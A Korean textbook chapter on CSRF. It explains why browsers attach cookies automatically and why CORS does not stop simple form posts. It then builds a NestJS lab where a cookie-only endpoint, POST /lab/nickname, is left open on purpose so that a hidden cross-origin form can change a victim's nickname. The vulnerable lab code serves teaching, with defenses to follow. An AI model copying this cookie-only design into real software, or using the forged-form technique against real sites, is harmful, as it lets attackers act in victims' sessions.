
이 장을 마치면
- 브라우저가 쿠키를 "알아서" 싣는다는 성질에서 CSRF 가 어떻게 생기는지, 공격이 성립하는 세 가지 조건으로 설명할 수 있다.
- simple request 와 preflight 를 구분하고, CORS 는 읽기를 막을 뿐 전송을 막지 않는다는 것을 시간순으로 그려 보일 수 있다.
- 우리 설계에서 CSRF 공격면이 정확히 어디인지(
/auth/login·/auth/refresh·/auth/logout) 짚고, 액세스 토큰을 쿠키로 옮기면 무엇이 달라지는지 말할 수 있다.- 액세스 토큰을 쿠키로 받는 취약한 실습실(
/lab/*)과 공격 페이지(evil/index.html)를 만들어, 다른 출처의 페이지에서 내 닉네임을 "털렸음" 으로 바꾸는 데 성공한다.
들어가며
7장까지 우리는 토큰을 발급하고, 회전시키고, 재사용을 탐지하는 백엔드를 완성했습니다.
액세스 토큰은 응답 본문으로 주고 FE 가 메모리에 들고 있다가 Authorization 헤더에 실어 보냅니다.
리프레시 토큰은 HttpOnly; Secure; SameSite=Strict; Path=/auth 쿠키로 오갑니다.
6장에서 쿠키 속성을 하나하나 고르면서 "SameSite=Strict 는 CSRF 를 줄이려는 것" 이라고 짧게 말하고 넘어갔습니다.
이 장과 다음 장은 그 한 문장을 끝까지 풀어냅니다.
CSRF(Cross-Site Request Forgery, 사이트 간 요청 위조)는 글로 읽으면 쉽게 이해한 것 같지만,
막상 "그럼 우리 API 는 안전한가?" 라는 질문을 받으면 답이 흔들리는 주제입니다.
CORS 를 켜 두었으니 괜찮다, JSON 만 받으니 괜찮다, SameSite 를 켰으니 괜찮다 —
세 가지 모두 부분적으로만 맞습니다. 어디까지 맞고 어디서부터 틀리는지는 직접 공격해 보면 가장 빨리 알 수 있습니다.
그래서 이 장에서는 먼저 원리를 세우고, 우리 설계에서 공격이 닿을 수 있는 곳을 찾은 다음,
일부러 취약하게 만든 실습실을 API 안에 따로 차려서 공격을 성공시킵니다.
본 API(/auth/*, /users/*)는 건드리지 않습니다. 방어는 9장에서 한 겹씩 입힙니다.
아직 FE 는 없습니다(10~12장에서 만듭니다). 그래서 이 장에서 "피해자의 브라우저" 역할은
Swagger UI(http://localhost:4000/docs) 가 맡습니다. 피해자가 Swagger 에서 로그인해 둔 상태로
같은 브라우저의 다른 탭에서 공격 페이지를 여는 상황을 재현합니다.
8.1 브라우저는 쿠키를 알아서 싣는다
1장에서 쿠키를 설명하며 가장 중요한 성질 하나를 강조했습니다.
브라우저는 요청을 보낼 때, 그 요청의 목적지에 해당하는 쿠키를 스스로 골라 싣는다는 것입니다.
요청을 누가 시작했는지, 즉 어느 페이지의 코드가 그 요청을 만들었는지는 쿠키를 고르는 기준에 (원래는) 들어가지 않습니다.
목적지의 도메인·경로·스킴이 쿠키의 Domain·Path·Secure 와 맞으면 싣습니다.
이 성질 덕분에 쿠키 기반 로그인이 편리합니다. 한 번 로그인하면 이후의 모든 요청에 세션 쿠키가 자동으로 붙으니,
앱 코드는 인증을 신경 쓰지 않아도 됩니다. 그런데 바로 그 편리함이 문제의 뿌리입니다.
https://evil.example 의 페이지가 https://bank.example/transfer 로 폼을 전송해도,
브라우저는 목적지가 bank.example 이니 bank.example 의 세션 쿠키를 싣습니다.
은행 서버가 보기에 이 요청은 "로그인한 사용자가 보낸 송금 요청" 과 구분되지 않습니다.
이것이 CSRF 입니다. 공격자는 피해자의 쿠키를 훔치지 않습니다. 쿠키 값을 볼 수도 없습니다. 대신 피해자의 브라우저가 쿠키를 싣고 요청을 보내도록 유도합니다. 공격자에게 필요한 것은 피해자가 로그인한 상태로 공격 페이지를 한 번 열어 주는 것뿐입니다.
공격이 성립하는 세 가지 조건
CSRF 가 성립하려면 다음 세 가지가 모두 맞아야 합니다. 방어는 결국 이 중 하나를 깨뜨리는 일입니다.
1. 쿠키 기반 인증. 서버가 "이 요청을 보낸 사람이 누구인가" 를 브라우저가 자동으로 붙이는 자격 증명으로만 판단해야 합니다.
쿠키가 대표적이고, HTTP Basic 인증이나 클라이언트 인증서도 같은 성질을 갖습니다.
반대로 Authorization: Bearer … 헤더는 브라우저가 자동으로 붙이지 않습니다. 페이지의 코드가 직접 붙여야 하고,
다른 출처의 페이지는 그 토큰 값을 모릅니다. 그래서 Bearer 헤더만으로 인증하는 요청은 이 조건에서 빠집니다.
2. 예측 가능한 요청. 공격자가 요청의 모든 부분을 미리 알고 만들 수 있어야 합니다. URL, 메서드, 본문의 필드 이름과 값이 전부 고정돼 있거나 공격자가 정할 수 있으면 조건이 성립합니다. 요청에 공격자가 알 수 없는 값(예: 서버가 페이지마다 새로 내려 주는 난수)이 하나라도 들어가야 한다면 조건이 깨집니다. 9장의 CSRF 토큰이 바로 이 조건을 깨뜨리는 방어입니다.
3. 상태 변경. 요청이 서버의 무언가를 바꿔야 공격에 의미가 있습니다.
닉네임 변경, 송금, 비밀번호 변경, 로그아웃, 로그인 같은 것들입니다.
공격자는 응답을 읽지 못하므로(8.3 에서 봅니다) "내 정보 조회" 같은 읽기 요청을 위조해 봐야 얻는 것이 없습니다.
그래서 CSRF 방어는 상태를 바꾸는 요청에만 걸면 됩니다. 이것이 HTTP 에서 GET 이 상태를 바꾸지 않아야 하는 이유이기도 합니다.
세 조건을 기억해 두면 "이 엔드포인트는 CSRF 에 취약한가?" 라는 질문에 기계적으로 답할 수 있습니다. 쿠키로 인증하는가, 요청이 예측 가능한가, 상태를 바꾸는가. 셋 다 "예" 면 취약합니다.
8.2 simple request 와 preflight
다른 출처로 보내는 요청은 브라우저가 두 부류로 나눠 다룹니다. 이 구분을 모르면 CSRF 와 CORS 의 관계가 계속 헷갈립니다.
simple request 는 브라우저가 "HTML 폼으로도 원래 보낼 수 있던 요청" 으로 보는 것입니다.
CORS 가 생기기 전부터 웹 페이지는 다른 사이트로 폼을 전송할 수 있었고, <img> 로 다른 사이트의 이미지를 불러올 수 있었습니다.
이런 요청까지 CORS 로 막으면 기존 웹이 전부 깨지므로, 브라우저는 이 범위의 요청을 확인 없이 바로 보냅니다.
조건은 대략 다음과 같습니다.
| 항목 | simple request 조건 |
|---|---|
| 메서드 | GET, HEAD, POST 중 하나 |
| 헤더 | 브라우저가 자동으로 붙이는 것 외에는 Accept, Accept-Language, Content-Language, Content-Type 정도만 (CORS-safelisted 헤더) |
Content-Type | application/x-www-form-urlencoded, multipart/form-data, text/plain 중 하나 |
세 줄 모두 HTML 폼이 만들 수 있는 요청의 범위와 겹칩니다. 폼은 GET·POST 만 보낼 수 있고,
커스텀 헤더를 붙일 수 없고, 본문 형식은 enctype 으로 고른 저 세 가지뿐입니다.
이 범위를 벗어나는 요청, 예를 들어 PATCH·DELETE 이거나 Content-Type: application/json 이거나
Authorization·X-CSRF-Token 같은 헤더를 붙인 요청은 preflight 를 거칩니다.
브라우저가 본 요청을 보내기 전에 OPTIONS 요청을 먼저 보내 서버에게 묻는 것입니다.
OPTIONS /users/me HTTP/1.1
Origin: http://localhost:5173
Access-Control-Request-Method: PATCH
Access-Control-Request-Headers: authorization, content-type
서버가 Access-Control-Allow-Origin·Access-Control-Allow-Methods·Access-Control-Allow-Headers 로
"그 출처에서, 그 메서드와 헤더로 보내도 된다" 고 답해야 브라우저가 본 요청을 보냅니다.
답이 없거나 조건이 맞지 않으면 본 요청은 아예 나가지 않습니다.
3장에서 main.ts 에 넣은 app.enableCors({ origin: config.webOrigins, … }) 가 바로 이 질문에 답하는 코드입니다.
💡 preflight 는 "서버가 CORS 를 모르던 시절에 만들어진 서버를 보호하려고" 생긴 장치입니다.
옛날 서버는 다른 사이트에서 DELETE 나 JSON 요청이 올 거라고 가정하지 않았으니,
그런 요청은 서버가 명시적으로 동의한 경우에만 보내자는 것입니다. 반대로 폼으로 보낼 수 있던 요청은
이미 옛날부터 가능했으므로 서버가 알아서 대비했어야 하는 것으로 봅니다. CSRF 방어가 서버의 일인 이유입니다.
8.3 CORS 는 읽기를 막을 뿐 전송을 막지 않는다
CORS 에 대한 가장 흔한 오해는 "CORS 를 설정했으니 다른 사이트에서 우리 API 를 못 부른다" 는 것입니다.
CORS 는 다른 출처의 응답을 페이지의 코드가 읽어도 되는지를 정하는 규칙입니다.
simple request 의 경우 요청은 이미 서버에 도착해 처리된 뒤이고, 브라우저는 응답이 돌아왔을 때에야
Access-Control-Allow-Origin 을 보고 "이 응답을 페이지에 넘겨줄까" 를 결정합니다.
폼 전송으로 공격할 때의 흐름을 시간순으로 그려 보겠습니다.
시간 피해자 브라우저 API (localhost:4000)
─── ───────────────────────────────────────────── ──────────────────────────────
t0 [탭 A] Swagger 에서 POST /lab/login ───────────▶ 비밀번호 확인
◀──────────── Set-Cookie: lab_session=<JWT> 액세스 토큰(JWT)을 쿠키로 내려보냄
(브라우저 쿠키 저장소에 lab_session 이 생김)
t1 [탭 B] 공격 페이지 http://127.0.0.1:5174 열림
페이지 스크립트가 숨긴 폼을 submit()
t2 POST /lab/nickname ────────────────────────────▶ ① lab_session 쿠키 검증 → 피해자로 인증됨
Origin: http://127.0.0.1:5174 ② 닉네임을 "털렸음" 으로 UPDATE
Content-Type: application/x-www-form-urlencoded ③ 200 { …, nickname: "털렸음" }
Cookie: lab_session=<JWT> ← 브라우저가 자동으로
nickname=털렸음
t3 ◀──────────── 200 응답
응답을 iframe 에 표시하려다 helmet 헤더 때문에 막힘
(공격 페이지는 응답 내용을 읽지 못한다 — 읽을 필요도 없다)
t4 [탭 A] Swagger 에서 GET /lab/me ───────────────▶ nickname: "털렸음"
핵심은 t2 입니다. 서버에 요청이 도착한 순간 피해는 이미 일어났습니다. CORS 가 개입할 수 있는 것은 t3 뿐이고, t3 에서 막아 봐야 공격자는 처음부터 응답을 볼 생각이 없었습니다.
같은 요청을 fetch 로, 그리고 preflight 가 필요한 형태로 보내면 흐름이 달라집니다.
시간 공격 페이지 (127.0.0.1:5174) API (localhost:4000)
─── ───────────────────────────────────────────── ──────────────────────────────
t0 fetch('/lab/nickname', { method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: '{"nickname":"털렸음"}' })
→ application/json 은 simple 이 아니다 → preflight
t1 OPTIONS /lab/nickname ─────────────────────────▶ cors 미들웨어: Origin 이 WEB_ORIGINS 에 없음
Origin: http://127.0.0.1:5174 → Access-Control-Allow-Origin 을 붙이지 않고 응답
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
◀──────────── 204 (허용 헤더 없음)
t2 브라우저: "허락받지 못했다" → 본 요청을 보내지 않음
fetch 는 TypeError 로 실패 (POST 는 서버에 오지 않았다)
여기서는 CORS(정확히는 preflight)가 실제로 전송을 막았습니다. 하지만 이것은 공격자가 굳이 preflight 를 부르는 형태를 골랐기 때문입니다. 공격자는 언제든 첫 번째 그림처럼 simple request 로 바꿔 보낼 수 있고, 서버가 그 형태를 받아 주는 한 공격은 성공합니다. 그래서 정리하면 이렇습니다.
- CORS 는 응답 읽기를 막는다. simple request 는 막지 못한다.
- preflight 는 simple 이 아닌 요청의 전송을 막는다. 단, 서버의 CORS 허용 목록이 엄격할 때만.
origin: true처럼 요청 출처를 그대로 되돌려 주는 설정이면 preflight 도 통과한다. - 따라서 "우리 서버가 simple request 로 상태를 바꿀 수 있는가?" 가 CSRF 를 판단하는 질문이다.
⚠️ "우리 API 는 JSON 만 받으니 폼으로는 못 보낸다" 는 흔한 안심은 서버의 본문 파서에 기대고 있습니다.
본문 파서가 text/plain 이나 application/x-www-form-urlencoded 도 읽어 들이면, 공격자는 preflight 없이 같은 내용을 보낼 수 있습니다.
NestJS(Express 어댑터)는 기본으로 JSON 과 urlencoded 본문을 파싱합니다. 실습실의 닉네임 변경이 폼으로 뚫리는 것도 이 때문입니다.
8.4 우리 설계에서 공격면은 어디인가
8.1 의 세 조건으로 7장까지 만든 API 를 하나씩 따져 봅시다.
| 엔드포인트 | 인증 수단 | 조건 1 (쿠키) | 조건 3 (상태 변경) | 판단 |
|---|---|---|---|---|
POST /auth/signup | 없음 | ✗ | ○ | 누구나 가입할 수 있는 요청이라 위조해도 얻는 것이 없다 |
POST /auth/login | 없음 (쿠키를 만든다) | △ | ○ | 로그인 CSRF 대상 |
POST /auth/refresh | refresh_token 쿠키 | ○ | ○ (회전) | 대상 |
POST /auth/logout | refresh_token 쿠키 | ○ | ○ (세션 폐기) | 대상 |
POST /auth/logout-all | Bearer | ✗ | ○ | 안전 |
GET /auth/sessions | Bearer | ✗ | ✗ | 안전 |
DELETE /auth/sessions/:id | Bearer | ✗ | ○ | 안전 |
GET·PATCH /users/me | Bearer | ✗ | ○ (PATCH) | 안전 |
Bearer 로 인증하는 요청은 안전합니다. 공격 페이지가 Authorization 헤더를 붙이려면 두 가지가 필요합니다.
첫째, 액세스 토큰 값을 알아야 하는데 그것은 우리 FE 의 메모리에만 있습니다.
둘째, Authorization 은 simple 헤더가 아니므로 preflight 를 부르고, 우리 CORS 허용 목록에 없는 출처라 거절됩니다.
두 번째가 뚫리더라도 첫 번째가 남습니다.
쿠키를 쓰는 셋이 공격면입니다. 각각이 위조되면 무슨 일이 생기는지 보겠습니다.
POST /auth/logout위조: 피해자가 강제로 로그아웃됩니다. 데이터가 새지는 않지만, 사용자 경험을 망치고 다른 공격(예: 로그아웃시킨 뒤 가짜 로그인 화면으로 유도)의 발판이 될 수 있습니다.POST /auth/refresh위조: 공격자는 응답 본문의 새 액세스 토큰을 읽을 수 없으니 토큰을 얻지는 못합니다. 그러나 피해자 모르게 리프레시 토큰이 회전됩니다. 이것이 FE 의 정상 refresh 와 겹치면 grace 창(10초) 안에서는 409, 그 밖에서는 재사용 탐지로 세션 전체가 끊길 수도 있습니다. 결과적으로 원격에서 로그아웃시키는 수단이 됩니다.POST /auth/login위조: 이것이 로그인 CSRF 입니다. 공격자는 자기 계정의 이메일·비밀번호를 담은 폼을 피해자 브라우저에서 전송시킵니다. 성공하면 피해자의 브라우저에 공격자 계정의 리프레시 쿠키가 심어지고, 피해자는 자기도 모르게 공격자 계정으로 로그인한 상태가 됩니다. 이후 피해자가 입력하는 메모·주소·결제 정보가 공격자 계정에 쌓이고, 공격자는 나중에 자기 계정으로 로그인해 그것을 읽습니다. login 은 쿠키를 읽지 않는데도 대상인 이유입니다. 조건 1 이 "쿠키를 읽어 인증한다" 가 아니라 "쿠키라는 자동 자격 증명의 상태를 바꾼다" 로 넓어진 경우라고 보면 됩니다.
그런데 리프레시 쿠키는 이미 SameSite=Strict 입니다. 다른 사이트에서 시작한 요청에는 실리지 않으니 이미 안전하지 않을까요?
다른 사이트에 대해서는 대체로 그렇습니다. 하지만 SameSite 는 출처가 아니라 사이트를 기준으로 한다는 점,
그리고 로그인 CSRF 는 쿠키를 싣는 문제가 아니라 쿠키를 새로 심는 문제라는 점 때문에 SameSite 하나로는 부족합니다.
이 차이는 9장에서 실측으로 확인합니다.
액세스 토큰을 쿠키로 옮기면
이 책의 설계는 액세스 토큰을 본문으로 주고 FE 메모리에 둡니다. 그러나 실무에서는 액세스 토큰(또는 세션 ID)을 쿠키에 담는 구성도 흔합니다. 대표적인 경우가 둘입니다.
- BFF(Backend for Frontend): 브라우저는 BFF 서버와만 이야기하고, BFF 가 쿠키 세션으로 사용자를 알아본 뒤 뒤쪽 API 를 대신 부릅니다. 브라우저 입장에서 인증은 전부 쿠키입니다.
- SSR(서버 사이드 렌더링): 서버가 페이지를 그릴 때 사용자를 알아야 하는데, 첫 페이지 요청에는 JS 가 헤더를 붙일 기회가 없습니다. 그래서 인증 정보를 쿠키로 둡니다.
이렇게 하면 XSS 로 토큰을 훔쳐 가는 위험은 줄어듭니다(HttpOnly 쿠키는 JS 가 읽지 못합니다).
대신 조건 1 이 모든 API 에 성립합니다. 닉네임 변경, 게시글 삭제, 설정 변경까지 쿠키만으로 인증되니,
상태를 바꾸는 모든 요청이 CSRF 공격면이 됩니다. 이 트레이드오프를 몸으로 느껴 보려고 실습실을 만듭니다.
8.5 실습실 설계
실습실은 "액세스 토큰을 쿠키로 받는 구성" 을 본 API 옆에 따로 세운 것입니다.
본 API 의 코드는 한 줄도 바꾸지 않고, /lab 경로 아래에만 취약한 엔드포인트를 둡니다.
| 엔드포인트 | 하는 일 |
|---|---|
GET /lab/settings | 지금 켜진 방어 설정(SameSite, Origin 검사, 토큰 검사)을 보여 준다 |
POST /lab/login | 이메일·비밀번호를 확인하고 액세스 토큰(JWT)을 lab_session 쿠키로 내려 준다 |
GET /lab/me | lab_session 쿠키만으로 내 정보를 준다 |
POST /lab/nickname | lab_session 쿠키만으로 닉네임을 바꾼다 — 공격 대상 |
설계에서 몇 가지를 일부러 골랐습니다.
- 닉네임 변경을
POST로 둡니다. 본 API 의 닉네임 변경은PATCH /users/me입니다. 폼은PATCH를 보낼 수 없으니, 쿠키 인증이더라도PATCH는 preflight 와 CORS 허용 목록에 한 번 더 기대게 됩니다. 실습실은 가장 전형적인 CSRF, 즉 폼 하나로 뚫리는 경우를 보이려고POST를 씁니다. - 폼 본문(
application/x-www-form-urlencoded)도 받습니다. Nest 는 기본으로 이 형식을 파싱하므로 따로 할 일은 없고, Swagger 문서에@ApiConsumes로 두 형식을 모두 적어 둡니다. - 쿠키의
SameSite값을 환경변수로 바꿀 수 있게 합니다. 9장에서none·lax·strict를 차례로 바꿔 가며 같은 공격을 되풀이하기 위해서입니다. 8장에서는none, 즉 가장 취약한 값으로 시작합니다. LAB_MODE=false면 모든 실습 엔드포인트가 404 가 됩니다. 실습 코드가 운영에 실수로 남아도 문을 닫아 둘 수 있게 합니다.- 액세스 토큰은 본 API 와 같은
TokenService.signAccessToken으로 만듭니다. 새 서명 방식을 만들지 않고, 5장에서 만든 발급·검증을 그대로 씁니다. 세션 ID(sid) 자리에는 실습용이라는 뜻으로'lab'을 넣습니다.
8.6 설정에 실습 스위치를 더한다
AppConfig
3장에서 만든 설정 계층에 실습용 필드 하나를 더합니다. 쿠키의 SameSite 값은 세 가지뿐이므로 타입으로 먼저 좁혀 둡니다.
// api/src/config/app-config.ts
import { Global, Injectable, Module } from '@nestjs/common';
import { ConfigModule, ConfigService } from '@nestjs/config';
export type SameSite = 'strict' | 'lax' | 'none';
@Injectable()
export class AppConfig {
// …
readonly swaggerEnabled: boolean;
readonly lab: { enabled: boolean; sameSite: SameSite; checkOrigin: boolean; checkToken: boolean };
constructor(config: ConfigService) {
// … str, num, secret, flag 와 기존 필드는 그대로 …
this.swaggerEnabled = flag('SWAGGER_ENABLED');
const sameSite = (config.get<string>('LAB_COOKIE_SAMESITE') ?? 'none').toLowerCase();
if (!['strict', 'lax', 'none'].includes(sameSite)) {
throw new Error('LAB_COOKIE_SAMESITE 는 strict | lax | none 중 하나여야 한다');
}
this.lab = {
enabled: flag('LAB_MODE'),
sameSite: sameSite as SameSite,
checkOrigin: flag('LAB_CHECK_ORIGIN'),
checkToken: flag('LAB_CHECK_TOKEN'),
};
}
// …
}
각 줄을 봅시다.
export type SameSite를 따로 내보내는 것은 Express 의res.cookie()옵션에 이 값을 그대로 넘기기 때문입니다. Express 의sameSite옵션은'strict' | 'lax' | 'none'문자열(과 불리언)을 받으므로, 타입이 맞으면 변환 없이 넘길 수 있습니다.- 다른 필드는
str()로 읽어 값이 없으면 기동을 멈추게 했지만,LAB_*는config.get()으로 읽고 기본값을 줍니다. 실습 스위치는 운영 환경에 아예 없는 것이 정상이기 때문입니다.LAB_MODE가 없으면flag()가false를 주므로 실습실은 닫힙니다. toLowerCase()후 세 값 중 하나인지 확인하고, 아니면 기동 시점에 던집니다. 오타(LAB_COOKIE_SAMESITE=nnone)가 있을 때 조용히 기본값으로 떨어지면 실험 결과를 잘못 해석하게 됩니다. 3장에서 세운 "설정은 기동할 때 검증한다" 는 원칙을 그대로 따릅니다.lab을 하나의 객체로 묶은 것은 실습 관련 설정이 한곳에 모여 있어야 나중에 통째로 걷어 내기 쉽기 때문입니다.
.env
api/.env 끝에 네 줄을 더합니다.
# api/.env
# …
# 8·9장 CSRF 실습실
LAB_MODE=true
LAB_COOKIE_SAMESITE=none
LAB_CHECK_ORIGIN=false
LAB_CHECK_TOKEN=false
지금은 방어가 하나도 없는 상태입니다. LAB_CHECK_ORIGIN 과 LAB_CHECK_TOKEN 은 이 장에서는 쓰는 코드가 없고,
9장에서 검사를 끼울 때 스위치로 씁니다. 미리 넣어 두는 것은 /lab/settings 가 네 값을 모두 보여 주게 하려는 것입니다.
ErrorCode
실습 모드가 꺼져 있을 때 돌려줄 에러 코드를 하나 더합니다.
// api/src/common/errors.ts
export const ErrorCode = {
// … 기존 코드 …
TOO_MANY_REQUESTS: 'TOO_MANY_REQUESTS',
LAB_DISABLED: 'LAB_DISABLED',
} as const;
4장에서 정한 대로 모든 에러는 { statusCode, code, message } 한 모양이고, ErrorCode 에 넣은 값은
ErrorResponseDto 의 enum 을 통해 Swagger 문서에도 자동으로 나타납니다.
8.7 실습 컨트롤러
lab.controller.ts
부록 C 의 최종 LabController 는 9장에서 만들 CsrfService 를 씁니다. 이 장에서는 아직 그 서비스가 없으므로
닉네임 변경의 두 가지 검사(Origin 검사와 CSRF 토큰 검사)와 그 의존을 뺀 모양으로 만듭니다.
9장에서 이 자리에 검사를 한 줄씩 끼워 부록 C 와 똑같이 맞춥니다.
// api/src/lab/lab.controller.ts
import { Body, CanActivate, Controller, Get, HttpCode, Injectable, Post, Req, Res, UseGuards } from '@nestjs/common';
import { ApiConsumes, ApiOperation, ApiTags } from '@nestjs/swagger';
import type { Request, Response } from 'express';
import { LoginDto } from '../auth/dto';
import { PasswordService } from '../auth/password.service';
import { AuthUser, TokenService } from '../auth/token.service';
import { AppError, ErrorCode } from '../common/errors';
import { AppConfig } from '../config/app-config';
import { UpdateNicknameDto, UserDto, toUserDto } from '../users/dto';
import { UsersRepository } from '../users/users.repository';
const LAB_COOKIE = 'lab_session';
@Injectable()
class LabEnabledGuard implements CanActivate {
constructor(private readonly config: AppConfig) {}
canActivate(): boolean {
if (!this.config.lab.enabled) throw new AppError(404, ErrorCode.LAB_DISABLED, '실습 모드가 꺼져 있다');
return true;
}
}
@ApiTags('lab')
@UseGuards(LabEnabledGuard)
@Controller('lab')
export class LabController {
constructor(
private readonly users: UsersRepository,
private readonly passwords: PasswordService,
private readonly tokens: TokenService,
private readonly config: AppConfig,
) {}
@Get('settings')
@ApiOperation({ summary: '[실습] 현재 방어 설정' })
settings() {
const { sameSite, checkOrigin, checkToken } = this.config.lab;
return { sameSite, checkOrigin, checkToken };
}
@Post('login')
@HttpCode(204)
@ApiOperation({ summary: '[실습] 액세스 토큰을 쿠키로 받는 로그인 (취약한 구성)' })
async login(@Body() dto: LoginDto, @Res({ passthrough: true }) res: Response): Promise<void> {
const user = await this.users.findByEmail(dto.email);
if (!user || !(await this.passwords.verify(user.password_hash, dto.password))) {
throw new AppError(401, ErrorCode.INVALID_CREDENTIALS, '이메일 또는 비밀번호가 맞지 않다');
}
const token = await this.tokens.signAccessToken(user.id, 'lab');
res.cookie(LAB_COOKIE, token, {
httpOnly: true,
secure: true, // SameSite=None 은 Secure 가 있어야 받아들여진다
sameSite: this.config.lab.sameSite,
path: '/',
maxAge: 30 * 60 * 1000,
});
}
@Get('me')
@ApiOperation({ summary: '[실습] 쿠키로 내 정보' })
async me(@Req() req: Request): Promise<UserDto> {
const user = await this.userFromCookie(req);
const row = await this.users.findById(user.userId);
return toUserDto(row!);
}
@Post('nickname')
@HttpCode(200)
@ApiConsumes('application/x-www-form-urlencoded', 'application/json')
@ApiOperation({ summary: '[실습] 쿠키만으로 닉네임 변경 — CSRF 공격 대상' })
async changeNickname(@Req() req: Request, @Body() dto: UpdateNicknameDto): Promise<UserDto> {
const user = await this.userFromCookie(req);
// 9장에서 이 자리에 Origin 검사와 CSRF 토큰 검사를 끼운다
const row = await this.users.updateNickname(user.userId, dto.nickname);
return toUserDto(row!);
}
private async userFromCookie(req: Request): Promise<AuthUser> {
const token = req.cookies?.[LAB_COOKIE];
if (!token) throw new AppError(401, ErrorCode.ACCESS_TOKEN_INVALID, '실습 쿠키가 없다');
try {
return await this.tokens.verifyAccessToken(token);
} catch {
throw new AppError(401, ErrorCode.ACCESS_TOKEN_INVALID, '실습 쿠키가 유효하지 않다');
}
}
}
위에서부터 읽어 내려가겠습니다.
LabEnabledGuard 는 컨트롤러 클래스 전체에 걸리는 가드입니다. @UseGuards(LabEnabledGuard) 를 클래스에 붙였으므로
/lab 아래 모든 핸들러가 이 가드를 먼저 통과해야 합니다. 실습 모드가 꺼져 있으면 404 LAB_DISABLED 를 던집니다.
403 이 아니라 404 인 것은 "금지된 기능" 이 아니라 "없는 기능" 으로 보이게 하려는 뜻입니다.
이 가드는 파일 안에서만 쓰므로 export 하지 않았고, 모듈의 providers 에도 넣지 않았습니다.
Nest 는 @UseGuards() 에 클래스를 넘기면 그 모듈의 주입기로 가드를 만들어 주므로, 생성자의 AppConfig 도 주입됩니다
(AppConfigModule 이 @Global() 이라 가능합니다).
생성자는 네 가지를 받습니다. UsersRepository 는 UsersModule 이, TokenService 는 TokenModule 이,
PasswordService 는 AuthModule 이 내보내야 합니다. 앞의 둘은 이미 내보내고 있지만 PasswordService 는 그렇지 않으므로
잠시 뒤 AuthModule 을 고칩니다.
login 은 본 API 의 로그인과 비슷하지만 세 가지가 다릅니다.
첫째, 액세스 토큰을 본문이 아니라 쿠키로 내려 줍니다. 이것이 실습실이 흉내 내는 "취약한 구성" 의 핵심입니다.
둘째, 없는 사용자일 때 passwords.burn() 을 부르지 않습니다. 실습 전용이라 응답 시간으로 가입 여부가 드러나는 문제까지 다루지 않았습니다.
셋째, 로그인 시도 제한(LoginThrottlerGuard)도 걸지 않았습니다. 같은 이유입니다.
응답은 본문 없이 204 입니다. 토큰이 본문에 없다는 것을 분명히 보이려는 선택입니다.
쿠키 옵션은 6장의 리프레시 쿠키와 나란히 놓고 보면 차이가 잘 보입니다.
| 옵션 | refresh_token (6장) | lab_session (실습) | 이유 |
|---|---|---|---|
httpOnly | true | true | JS 가 읽지 못하게. CSRF 는 쿠키를 읽지 않아도 성립한다는 것을 보이려고 실습에서도 켠다 |
secure | config.cookieSecure | 항상 true | SameSite=None 쿠키는 Secure 가 없으면 브라우저가 거부한다 |
sameSite | 'strict' 고정 | .env 로 바꿈 | 9장 실험 변수 |
path | /auth | / | /lab/* 전체와, 필요하면 다른 경로에서도 실리게 |
| 수명 | 14일(expires) | 30분(maxAge) | 실습용 짧은 수명 |
secure: true 인데 우리 API 는 http://localhost:4000 입니다. Secure 쿠키는 원래 HTTPS 에서만 저장·전송되지만,
Chrome 을 비롯한 최근 브라우저는 localhost 를 안전한 출처로 취급해 http://localhost 에서도 Secure 쿠키를 받아 줍니다.
6장에서 COOKIE_SECURE=true 로 리프레시 쿠키를 받을 수 있었던 것과 같은 이유입니다.
다만 이 예외는 localhost 라는 호스트 이름(과 127.0.0.1 같은 루프백 주소)에만 해당합니다. 사내 IP 나 임의의 호스트 이름으로 API 를 열면 쿠키가 저장되지 않습니다(부록 B 참고).
me 와 changeNickname 은 둘 다 userFromCookie() 로 사용자를 알아냅니다. Authorization 헤더는 보지 않습니다.
본 API 의 JwtAuthGuard 가 헤더에서 토큰을 꺼냈다면, 실습실은 쿠키에서 꺼냅니다. 검증(verifyAccessToken)은 똑같습니다.
서명·만료·iss·aud 를 전부 확인하므로 토큰 자체는 튼튼합니다. 그런데도 뚫린다는 것이 이 장의 요점입니다.
CSRF 는 토큰을 위조하는 공격이 아니라 진짜 토큰이 실린 요청을 피해자 브라우저가 보내게 만드는 공격이기 때문입니다.
changeNickname 의 @Body() dto: UpdateNicknameDto 는 PATCH /users/me 가 쓰는 DTO 를 그대로 가져온 것입니다.
전역 ValidationPipe 가 2~20자, 앞뒤 공백 제거를 검사합니다. 본문이 폼 형식이든 JSON 이든 파싱된 뒤에는 같은 객체이므로
DTO 입장에서는 차이가 없습니다.
toUserDto(row!) 의 ! 는 쿠키의 토큰이 유효하다면 그 사용자가 DB 에 있다고 가정한 것입니다.
본 API 의 UsersController 는 사용자가 없을 때 401 을 던지지만, 실습 코드는 간결함을 택했습니다.
lab.module.ts
// api/src/lab/lab.module.ts
import { Module } from '@nestjs/common';
import { AuthModule } from '../auth/auth.module';
import { TokenModule } from '../auth/token.module';
import { UsersModule } from '../users/users.module';
import { LabController } from './lab.controller';
@Module({
imports: [AuthModule, TokenModule, UsersModule],
controllers: [LabController],
})
export class LabModule {}
AuthModule 을 가져오는 것은 지금은 PasswordService 하나 때문입니다. 9장에서는 CsrfService 도 여기서 받습니다.
TokenModule 과 UsersModule 은 각각 TokenService 와 UsersRepository 를 내보냅니다.
Nest 모듈은 가져온 모듈이 exports 로 내놓은 프로바이더만 쓸 수 있습니다. AuthModule 이 UsersModule 을 가져온다고 해서
LabModule 이 UsersRepository 를 공짜로 받지는 않으므로, 필요한 모듈을 각각 가져옵니다.
AuthModule 에서 PasswordService 를 내보낸다
// api/src/auth/auth.module.ts
// … import 는 그대로 …
@Module({
imports: [TokenModule, UsersModule, ThrottlerModule.forRoot([{ ttl: 60_000, limit: 5 }])],
controllers: [AuthController],
providers: [AuthService, PasswordService, RefreshTokenRepository, LoginThrottlerGuard],
exports: [PasswordService],
})
export class AuthModule {}
exports 한 줄이 추가됐습니다. 9장에서 CsrfService 와 CsrfGuard 가 providers 에, CsrfService 가 exports 에 더해지면
부록 C 의 최종 모양이 됩니다.
AppModule 에 LabModule 을 더한다
// api/src/app.module.ts
import { Module } from '@nestjs/common';
import { AuthModule } from './auth/auth.module';
import { AppConfigModule } from './config/app-config';
import { DatabaseModule } from './database/database.module';
import { LabModule } from './lab/lab.module';
import { UsersModule } from './users/users.module';
@Module({
imports: [AppConfigModule, DatabaseModule, UsersModule, AuthModule, LabModule],
})
export class AppModule {}
